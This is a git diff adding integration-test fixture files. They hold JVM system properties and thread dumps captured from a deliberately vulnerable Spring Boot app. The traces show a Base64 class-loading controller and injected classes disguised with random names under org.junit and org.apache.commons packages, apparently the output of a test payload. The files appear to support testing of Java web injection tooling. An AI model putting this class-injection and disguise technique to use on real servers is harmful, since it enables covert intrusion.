java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-8" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-9" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"container-0" #36 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:522) + at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-6" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@241094ac + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"http-nio-8080-Poller" #47 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-7" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"Catalina-utility-2" #35 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-nio-8080-exec-3" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.lang.jlEOs.ErrorPscoiHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.tomcat.TomcatWebServer$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt new file mode 100644 index 00000000..7d4ab7c6 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt @@ -0,0 +1,299 @@ +# Generated At 2026-08-21 10:13:42 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 21 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2026-04-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.11+10-LTS +user.name: root +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.11+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 21.0.11 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.11+10-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"reactor-http-nio-2" #38 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3585ff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"boundedElastic-evictor-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74fc5fed + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"reactor-http-nio-1" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1dc92888 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-4" #40 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@2a63db04 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"server" #36 [WAITING] on java.util.concurrent.CountDownLatch$Sync@655b9ca + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:221) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:788) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1133) + at java.base@21.0.11/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) + at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91) + at reactor.core.publisher.Mono.block(Mono.java:1773) + at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231) + +"reactor-http-nio-5" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.junit.ckpSo.ErrorEexqqHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58.apply(Unknown Source) + at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:372) + at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:75) + at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:130) + at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:109) + at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:300) + at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:338) + at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2093) + at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:144) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:263) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:419) + at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:467) + at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:931) + at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:840) + at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) + at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:340) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:434) + at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:361) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:325) + at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:249) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1429) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:918) + at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:176) + at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.handle(AbstractNioChannel.java:445) + at io.netty.channel.nio.NioIoHandler$DefaultNioRegistration.handle(NioIoHandler.java:388) + at io.netty.channel.nio.NioIoHandler.processSelectedKey(NioIoHandler.java:596) + at io.netty.channel.nio.NioIoHandler.processSelectedKeysOptimized(NioIoHandler.java:571) + at io.netty.channel.nio.NioIoHandler.processSelectedKeys(NioIoHandler.java:512) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:484) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + 